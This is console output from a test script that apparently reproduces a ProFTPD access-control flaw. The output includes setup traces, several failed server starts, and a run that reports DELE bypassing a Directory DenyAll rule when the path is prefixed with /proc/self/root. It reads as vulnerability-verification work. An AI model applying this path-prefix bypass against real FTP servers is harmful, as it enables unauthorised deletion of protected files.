/data/pruva/runs/6c58a5e9-ad13-4784-a1dd-3203170b92c6/bundle/vuln_variant/test_dele_variant.sh: line 49: $1: unbound variable ProFTPD exited prematurely Traceback (most recent call last): File "", line 1, in ModuleNotFoundError: No module named 'crypt' ProFTPD exited prematurely ProFTPD exited prematurely (see logs/proftpd_dele.log) + PROFTPD=/data/pruva/project-cache/e16fa440-7670-4503-8601-378cf2096f7e/repo/build-vuln/proftpd + PORT=2122 ++ id -un + CURRENT_USER=vscode ++ id -u + CURRENT_UID=1000 ++ id -g + CURRENT_GID=1000 + GROUP_NAME=testgroup + TEST_ROOT=/data/pruva/runs/6c58a5e9-ad13-4784-a1dd-3203170b92c6/bundle/artifacts/ftp-root + PID_FILE=/data/pruva/runs/6c58a5e9-ad13-4784-a1dd-3203170b92c6/bundle/artifacts/proftpd.pid + SCOREBOARD_FILE=/data/pruva/runs/6c58a5e9-ad13-4784-a1dd-3203170b92c6/bundle/artifacts/proftpd.scoreboard + PASSWD_FILE=/data/pruva/runs/6c58a5e9-ad13-4784-a1dd-3203170b92c6/bundle/artifacts/proftpd.passwd + GROUP_FILE=/data/pruva/runs/6c58a5e9-ad13-4784-a1dd-3203170b92c6/bundle/artifacts/proftpd.group + CONF_FILE=/data/pruva/runs/6c58a5e9-ad13-4784-a1dd-3203170b92c6/bundle/artifacts/proftpd.conf + trap cleanup EXIT + rm -rf /data/pruva/runs/6c58a5e9-ad13-4784-a1dd-3203170b92c6/bundle/artifacts/ftp-root + mkdir -p /data/pruva/runs/6c58a5e9-ad13-4784-a1dd-3203170b92c6/bundle/artifacts/ftp-root/protected + mkdir -p /data/pruva/runs/6c58a5e9-ad13-4784-a1dd-3203170b92c6/bundle/artifacts/ftp-root/public + echo SECRET-DELE-VARIANT + echo LEAKED + chmod 755 /data/pruva/runs/6c58a5e9-ad13-4784-a1dd-3203170b92c6/bundle/artifacts/ftp-root /data/pruva/runs/6c58a5e9-ad13-4784-a1dd-3203170b92c6/bundle/artifacts/ftp-root/protected /data/pruva/runs/6c58a5e9-ad13-4784-a1dd-3203170b92c6/bundle/artifacts/ftp-root/public + chmod 644 /data/pruva/runs/6c58a5e9-ad13-4784-a1dd-3203170b92c6/bundle/artifacts/ftp-root/protected/secret.txt /data/pruva/runs/6c58a5e9-ad13-4784-a1dd-3203170b92c6/bundle/artifacts/ftp-root/public/leaked.txt ++ openssl passwd -1 testpass + HASH='$1$eofmEtZO$K8OcEMsMQpsV1jL/tLL2i/' + printf '%s\n' 'vscode:$1$eofmEtZO$K8OcEMsMQpsV1jL/tLL2i/:1000:1000:vscode:/data/pruva/runs/6c58a5e9-ad13-4784-a1dd-3203170b92c6/bundle/artifacts/ftp-root:/bin/false' + printf '%s\n' testgroup:1000:vscode + export TEST_ROOT + export CURRENT_USER + export PORT + cat + rm -f /data/pruva/runs/6c58a5e9-ad13-4784-a1dd-3203170b92c6/bundle/artifacts/proftpd.pid /data/pruva/runs/6c58a5e9-ad13-4784-a1dd-3203170b92c6/bundle/artifacts/proftpd.scoreboard + PROFTPD_PID=62592 + /data/pruva/project-cache/e16fa440-7670-4503-8601-378cf2096f7e/repo/build-vuln/proftpd -c /data/pruva/runs/6c58a5e9-ad13-4784-a1dd-3203170b92c6/bundle/artifacts/proftpd.conf -d 10 ++ seq 1 30 + for i in $(seq 1 30) + nc -z localhost 2122 + kill -0 62592 + echo 'ProFTPD exited prematurely (see logs/proftpd_dele.log)' ProFTPD exited prematurely (see logs/proftpd_dele.log) + exit 1 + cleanup + '[' -f /data/pruva/runs/6c58a5e9-ad13-4784-a1dd-3203170b92c6/bundle/artifacts/proftpd.pid ']' + rm -f /data/pruva/runs/6c58a5e9-ad13-4784-a1dd-3203170b92c6/bundle/artifacts/proftpd.pid /data/pruva/runs/6c58a5e9-ad13-4784-a1dd-3203170b92c6/bundle/artifacts/proftpd.scoreboard ProFTPD exited prematurely (see logs/proftpd_dele.log) ProFTPD is listening on port 2122 Logged in as vscode === Test 1: Direct DELE of protected file should fail === Direct DELE denied: 550 protected/secret.txt: Operation not permitted === Test 2: DELE with /proc/self/root prefix (variant) === Proc-prefixed DELE allowed (bypass!) === Results === direct_dele: DENIED proc_dele: ALLOWED Variant confirmed: DELE bypasses Directory DenyAll via /proc/self/root